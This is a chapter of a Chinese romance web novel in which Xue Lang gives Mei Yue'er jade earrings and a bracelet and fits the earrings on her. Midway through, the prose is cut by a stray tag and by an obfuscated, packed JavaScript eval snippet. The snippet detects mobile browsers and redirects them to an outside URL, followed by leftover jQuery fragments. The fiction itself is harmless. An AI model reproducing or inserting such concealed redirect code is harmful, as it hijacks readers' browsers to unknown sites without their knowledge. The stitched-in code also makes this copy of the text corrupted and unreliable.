梅月儿学了针线,靠自己新认的字半懂不懂地看了书,这一天有无数的事要干。但琵琶没了,她不能练琴,手上总觉得空落落的。
经过昨夜那么一遭,她反而更加放心了:自己在他面前不小心睡着,兄长都八风不动地将自己照顾好,连衣角都没乱,可见兄长只把自己当成妹妹、或是他的学生,总归绝无男女之情。
戌时,薛琅如约而至。
梅月儿正温习课业,低着头背诵《论语》。薛琅走路无声,暗暗看了好一会儿,才舍得靠近,习惯性地挑亮她面前的蜡烛。
月儿猛抬头,见到他,双眼熠熠发光。鬓边娇艳的芍药衬着这样生动的神色,像是要把人捉进她闪着光芒的眼底。
薛琅微怔,烛火的热焰逼近他的手指,差一点烫到他的手。随即,他无事一般抽回手,端正道:“温习到哪里了?”
梅月儿把进度给他看。
薛琅微笑道:“学得这么刻苦,想来日后可以到高官内眷家里,做个西席。”
“真的吗?”月儿听到这话,高兴地凑过去,“玉京不愧是天子脚下,居然有人为家里的小姐聘请女先生,但我这么年轻,她们会信我吗?”
她的鼻尖晶莹剔透,灯烛一晃,细腻如玉。薛琅的目光微滞,说:“会的。你这么好学。”
梅月儿着实开心了一会儿。她其实知道玉京的大小姐都是六岁开蒙,自己十六岁才学,晚了十年,肯定不如人家多了,怎么好做千金小姐的老师?不过兄长愿意哄她,对她说温柔赞许的话,她很喜欢。
这股欢喜之情鼓舞着她,月儿再凑近一点点,寻找一个话头,好给齐骤求情:“怀瑾哥哥,我昨天……去看了那个刺客。”
薛琅唇边的笑意淡了淡,他早知道此事,暗卫已经禀报给他。
梅月儿握着毛笔,手指紧了又松,她犹豫道:“他实在是太坏了,居然几次想对哥哥动手,按理说,碎尸万段也不为过。但是……”
薛琅望着她嗫嚅的唇瓣。
她紧张,几次轻咬下唇,努力措辞,唇瓣磨得红红的。
他的神思恍惚了一霎,听到她心虚地说:“能不能不要让他死?别追究他的事情……”
薛琅的笑意彻底消散了。他看着梅月儿的神情,忽想,为什么求情,她很喜欢齐骤吗?
齐骤有什么?他是漂泊的亡命之徒,既没有金银钱财傍身,也没办法让她安安稳稳地生活,难道整日过脑袋别在裤腰带上的反贼生活么,难道他坐牢,她也要为齐骤说话么?
不行。
月儿不能过那种日子。
梅月儿又低声补充了几句,她理不直气也不壮,弱弱地道:“哥哥不原谅他也在理,我……”
话音未落,薛琅蓦然抓住她的手腕。
他的掌心有些热意,不像从前那么平和而冰冷。掌心温暖地包裹住她的腕,既牢牢抓住,又妥帖地控制好力道。
薛琅道:“你为他说话?”
梅月儿微怔,小声:“你生气了么。”
他徐徐松手,转头,面色平静淡泊:“没有。”
月儿自然认为他是气自己跟刺客来往、气自己不站在他那边。平心而论,要是哥哥不站在她这里,自己也会赌气的。
她歪过头看他的神情,追着凑到他双眼前,抬手抚他的胸口:“你别嘴硬嘛,生气了说我几句、骂我两声,把气撒出来就好了,堵在心里难受。”
真吵,一只强人所难的珍珠鸟。
梅月儿用弹琵琶的手给他顺气,指节纤细修长,微微带着些力道,一下一下,像拨她怀中的弦。薛琅却马上拉下她的手,胸膛起伏,长长地吸了一口气,问:“你不是喜欢有钱有权的人吗?”
这话问得唐突,他也即刻自悔失言,怎么能问出这样突兀的话,好像下一秒就要贬斥她攀附权贵。非亲非故,他有什么资格管她?
梅月儿一点儿也没不高兴,她笑了一下,大方应了:“是啊!”
薛琅目光停在她脸上。
月儿道:“世上的人谁不喜欢钱?谁不喜欢权力?我又不傻。我天天想着,说不定我不是这样的出身,本来从小该住着大宅院,金奴银婢地伺候着我呢。”
梅月儿说这话刺探他的反应。薛琅墨眉微敛,看不出在想什么,她便再说,每一句话都是真心话:“我也不想被人看轻、不想被人指着鼻子骂‘娼妇’。我也想尝尝被人哄着、顺着的滋味儿,这么多年,我也低眉顺眼得够了!……总之,我要是有个有钱的家就好了!”
他的视线久久地停留在她脸上,看着月儿说这些幻想时充满期待、熠熠如星的眼睛。
梅月儿神色如常地说出从前被骂的事,她打小这么惯了,痛觉已不敏感。薛琅却听得微微难过,像一根细针扎进肉里,碾磨时带着丝丝的刺痛。
他情不自禁想要触碰她,手指碰到她乌发上那朵明艳的芍药花,薛琅随即克制住自己,转而道:“嗯……再过数月,是我母亲的寿辰。我在外有公务在身,恐怕不能及时赶回去,只好先准备寿礼……准备得料子多了些,放着也是浪费,不如给你打点首饰。”
王彻教得这话还算说得过去,可他鲜少说谎,十分紧张,声音的底气逐渐不足,将锦盒取出来,请她打开。
梅月儿呆了一下,震惊道:“怀瑾哥哥,你听懂我的话了吗?”
薛琅:“……什么?”
听懂什么……噢,难道她故意说这种话,是想跟他有个……有个家?
月儿一看就知道他才没懂,她也不泄气,弯起眼睛笑道:“我昨晚还做梦说你无缘无故地送我点钱呢,今日果然应验,真好,等有空,我要到齐郡的琴鹤山去拜拜神仙。”
齐郡是青州下辖的郡,有一座终年覆雪的琴鹤山,上面的道观里种满了红梅。
她打开锦盒,见到黄金镶着一对透冰艳绿的翡翠耳坠,触手生温的暖玉雕成镯子,正是她戴的尺寸。
好漂亮……</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16409402|184419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她看得出这礼物相当值钱,也就不客气地收下了。人总是要给自己留点金银细软做打算的嘛!月儿高兴地戴上镯子,对着耳坠看了又看,忽然想到:
母亲的寿礼……兄长的母亲,是不是也是她的母亲?
想到这里,梅月儿的心怦然一动。她抬眼道:“母亲?怀瑾哥哥,你跟我讲讲她是什么样的人、性情怎么样,喜欢什么……”
话都说出了口,月儿才想起自己的问法不甚礼貌,像急着要盘问他的户籍家私一样。薛琅却始终含笑,声音温和:“问这个做什么?”
梅月儿一时心虚,道:“我想……让她喜欢我、跟我好而已。”
薛琅不语,目光凝驻在她身上,半晌才道:“就只跟我好,不行么。”
这话听在她耳朵里,可就是两人关系拉近的大大进展。她高兴地凑过去,抬手勾住兄长的脖颈,撒娇一样:“我当然跟哥哥好。”
薛琅抬臂绕过她的腰,稳住月儿的身形。她好轻,像是长了一对翅膀,明明主动勾着他的脖子抱上来,却让人感觉没什么能拴住她,只要微微一展翅,就会消失在天边。
他的手臂不自觉地紧了紧,掌心扶着她的脊背,想留她在身边。月儿全无所觉,声音的热气落在他耳畔。
薛琅的耳根红了一半,听到她说:“哥哥,你帮我把这个戴上吧。”他恍惚了一瞬,这才拿起翡翠耳坠。
梅月儿拢起一侧的碎发,露出莹白耳垂。她的脖颈白皙修长,下方隐隐透着血管的脉络,因为不常戴首饰,耳垂上的小孔很细,不好找。
薛琅怕弄疼她,很小心地去找那个小孔。他的指腹在耳垂肉上轻轻拨动,她的耳朵上的血管一经揉动,也微微发热,烫得他更不敢动。
梅月儿催他:“你找到了没?”
他的喉结上下移动了一下,说:“等一下。”
她的皮肤白,耳垂就显得红彤彤的,像一道通天的晚霞,从她的耳边一直烧到他手心。薛琅不知道自己怎么这样笨拙,竟然连给她戴个耳坠都如此坎坷。
梅月儿倒不在意,她知道自己耳洞很小,兄长还没娶妻,怎么会给女孩戴首饰呢?她闲下来,瞄着哥哥衣服上纹路,繁复的云纹暗暗藏在衣襟边,精致贵气,她想,把哥哥教得这么仁善君子,母亲一定也是个和善的贵妇人。
一想到这辈子还有机会见到自己的娘亲,梅月儿就忍不住有很多甜蜜的幻想。
她不急,薛琅却很煎熬。他天生体凉,这会儿几乎急得出汗,好不容易地才找到她的耳洞,轻轻地将耳坠推进去,生怕她喊一声“疼”。
梅月儿只觉温柔,随即转过另一边,把发丝拢起。
他身上淡淡的水墨气息跟她衣服上的花香逐渐交融。
另一侧稍微快一些,戴好后,薛琅展开手指,冰绿艳丽的耳坠垂在她耳畔,在烛火下闪着莹莹的光。
他微愣,看了好久,喉结再次滑动,随后飞快地别开视线,不敢看她。